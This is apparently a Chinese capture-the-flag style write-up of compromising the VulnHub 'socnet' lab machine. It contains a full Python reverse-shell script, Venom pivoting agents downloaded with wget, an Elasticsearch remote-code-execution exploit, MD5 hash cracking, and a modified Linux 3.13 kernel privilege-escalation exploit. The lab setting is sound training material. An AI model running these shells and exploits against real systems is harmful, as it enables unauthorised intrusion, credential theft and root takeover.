vulnhub-medium_socnet靶机打靶过程
0x01主机发现
使用以下命令扫描靶机ip地址
arp-scan 192.168.26.0/24
发现靶机IP是192.168.26.138,这里讲一下kali IP:192.168.26.20
0x02端口扫描、服务发现
先扫描靶机开放的端口及服务
nmap -sS -sV -T4 -A -p- 192.168.26.138
0x03路径爬取
发现5000端口开放了一个web服务,访问后,测试了一波,没发现什么问题,于是进行路径的扫描
发现一个admin的页面,访问后发现是一个代码测试页面于是我们可以尝试通过运行python的脚本来反弹shell
0x04代码注入
nc -lvvp #kali上监听4444端口
python代码执行反弹shell的脚本如下:
import socket,os,subprocess
RHOST='192.168.26.20' # Change it
RPORT=4444 # Change it
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 创建一个TCP-socket对象
s.connect((RHOST,RPORT)) # 连接攻击者
os.dup2(s.fileno(),0) # 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]) # 创建子进程调用SHELL
然后即可获取到shell,但是在根目录发现了dockerfile的文件,于是我们怀疑当前环境是docker容器环境,而不是真实的目标服务器环境
然后我们使用以下两条命令即可判断当前环境是否为docker环境、
如果有如上图所示的结果显示,那么说明当前环境为docker环境而不是目标靶机的真实服务器环境,当我们遇到这种情况的时候,我们需要从docker环境中逃逸出来,才能对真正的目标服务器开展进一步的操作。此时我们需要把docker环境当作服务器的内网环境来处理。
我们通过查看当前容器的ip发现,该内网网段最多可以有65535台主机,我们可以尝试用ping命令来发现其他的主机
0x05Shell脚本
for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done #我这里仅仅扫描了一个c段的IP
0x06内网信息收集、内网穿透
通过上面的shell脚本我们发现了 172.17.0.1 172.17.0.2 172.17.0.3 三台主机存活
因为我们需要对这些内网的主机进行一些操作,所以我们需要使用venom这个工具进行内网穿透,也就是打通kali到内网机器的路由,才能使用kali对这些内网机器进行相关操作。
首先我们可以先从github上下载编译好的release文件,解压后就可以直接使用链接如下:
https://github.com/Dliv3/Venom/releases/tag/v1.1.0
下载好之后我们先在kali上启动服务端
./admin_linux_64 -lport 9999 #启动服务端并监听本地的9999端口
启动好服务端后我们可以在kali上使用python开启临时的http服务,然后在目标机器上通过wget命令将客户端下载到本地
wget http://192.168.26.20/agent_linux_x64
chmod +x agent_linux_x64 #赋权
./agent_linux_x64 -rhost 192.168.26.20 -rport 9999 #启动客户端
然后我们可以在kali的服务端看到成功获取到了一个会话,然后我们进入这个会话,然后开启一个socks代理
开了socks代理后我们为了可以让kali上的所有工具都可以直接对目标内网机器进行操作,我们还需要修改proxychains这个工具的配置文件,打开这个配置文件后翻到文件的最后
vim /etc/proxychains.conf
修改前:
修改后:
以上这些操作完成后我们就可以使用kali上的工具通过挂proxychains来对目标内网机器进行扫描。
之前我们已经发现了内网有三台机器,所以现在我们可以使用nmap来对这些机器进行扫描
proxychains nmap -sV -sT 172.17.0.1
我们发现172.17.0.1这台机器开放了22 和5000端口,与我们前面当时扫描的192.168.26.138那个机器开放的端口一样,所以我们猜测172.17.0.1这个IP就是192.168.26.138这个机器对应的内网IP地址,为了印证我们的猜测我们给浏览器配置好我们的socks代理然后我们通过浏览器来访问这个IP的5000端口
http://172.17.0.1:5000
然后通过浏览器访问发现了我们当时访问192.168.26.138:5000端口时留下的测试数据,因此更加印证了我们的猜测。
然后我们再对172.17.0.2机器进行端口和服务的探测
proxychains nmap -sT -sV -Pn 172.17.0.2
0x07漏洞利用
然后我们发现172.17.0.2机器上9200端口开放了elasticsearch服务,然后我们搜索相关的漏洞
searchsploit elasticsearch
我们发现了一个远程代码执行漏洞的py脚本,查看这个脚本后发现是以python2运行的,尝试运行
proxychains python 36337.py 172.17.0.2
运行上面的命令报错了,提示没有requests这个包,于是下载这个包
pip install -t /usr/lib/python2.7/dist-packages/ requests
然后再次运行这个脚本
proxychains python 36337.py 172.17.0.2
0x08密码破解
然后在其根目录下发现一个密码文件,访问passwords文件后
发现了账号和密码,只不过密码都是md5加密后的形式,我们可以复制这些值,然后去在线的md5解密网站来获取到明文密码
这里推荐几个常用的md5解密网站:
https://www.cmd5.com/
https://www.somd5.com/
https://www.chamd5.com/
https://pmd5.com/
解密后挨个尝试登录,发现只有john用户可以登录,john的密码:1337hack
0x09本地提权、攻击代码修改
我们发现成功登录到了john的账户上,然后同时我们发现这个服务器用的是非常古老的linux3.13版本,所以我们可以尝试利用内核漏洞提权
searchsploit Linux 3.13.0 #搜索该内核版本的漏洞
cp /usr/share/exploitdb/exploits/linux/local/37292.c . #将exp复制到当前目录便于操作
查看exp后发现需要用到gcc命令 但是在目标机器上执行gcc发现没有gcc命令,所以我们需要对exp进行一些修改。由于没有gcc命令,所以我想着可以在kali使用gcc编译好这个文件,然后把这个编译好的文件传到靶机上去执行。
但是我在37292.c文件看到这样一行代码,它使用system函数调用了gcc命令并且它会去找到这个ofs-lib.c这个库文件 并编译成对应的so文件。
通过再次阅读37292.c这个文件发现在整个漏洞利用代码的执行过程中会再次调用这个so文件,所以我们需要连这个对应的so文件也上传到靶机上去才可以正常执行我们在kali上编译好的exp。所以思路有了开搞
首先我们需要将下图中两个方框之间的代码删掉。(下图是修改后的图)
gcc -o exp 37292.c #在kali上编译修改后37292.c脚本 并将编译好的文件命名为exp
我们再尝试直接去定位这个so文件的位置
locate ofs-lib.so #定位这个so文件的位置
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so . #将该文件复制到当前目录便于操作
这里我们需要再次使用python开启临时的http服务然后在靶机上通过wget命令来将exp和这个so文件下载到靶机上来。
python3 -m http.server 80 #在kali上开启临时的http服务
wget http://192.168.26.20/exp #在靶机上通过wget命令将exp文件下载到本地
wget http://192.168.26.20/ofs-lib.so #在靶机上通过wget命令将so文件下载到本地
ls #ls命令发现当前目录只有我们刚刚下载的exp文件和so文件
mv * /tmp/ #将当前目录下的所有文件移动到tmp目录下
chmod +x exp #赋权
./exp #执行
我们发现成功提升到了root权限,到这里这台靶机就打完了。
0x10总结
在此简单总结下本次的打靶过程,我们首先是nmap扫描了靶机(192.168.26.138)开放的端口和服务,然后通过目录扫描发现了一个python代码测试的页面,于是我们执行python脚本反弹shell,获取到shell后发现是root权限但是不幸的是,这是一个docker容器环境,然后我们通过查看当前容器的ip,并编写了一个简单的shell脚本通过ping命令进行主机发现,然后通过配置proxychains、使用venom进行内网穿透,从而可以通过挂proxychains 来使用kali上的各种工具对目标内网机器进行操作,nmap扫描发现172.17.0.2的9200端口的elasticsearch服务,通过利用这个存在漏洞的低版本elasticsearch,成功获取到了root权限,然后在根目录下发现了一个密码文件,md5解密后尝试挨个进行ssh登录,成功登录john用户,发现该用户是普通用户,登录成功后我们看到该服务器是一个3.13的低版本内核,尝试搜索该内核版本的提权漏洞,发现了漏洞利用脚本,但是遇到问题靶机不能运行gcc命令,于是尝试阅读并修改了提权脚本,最终提权成功,获取到了root权限。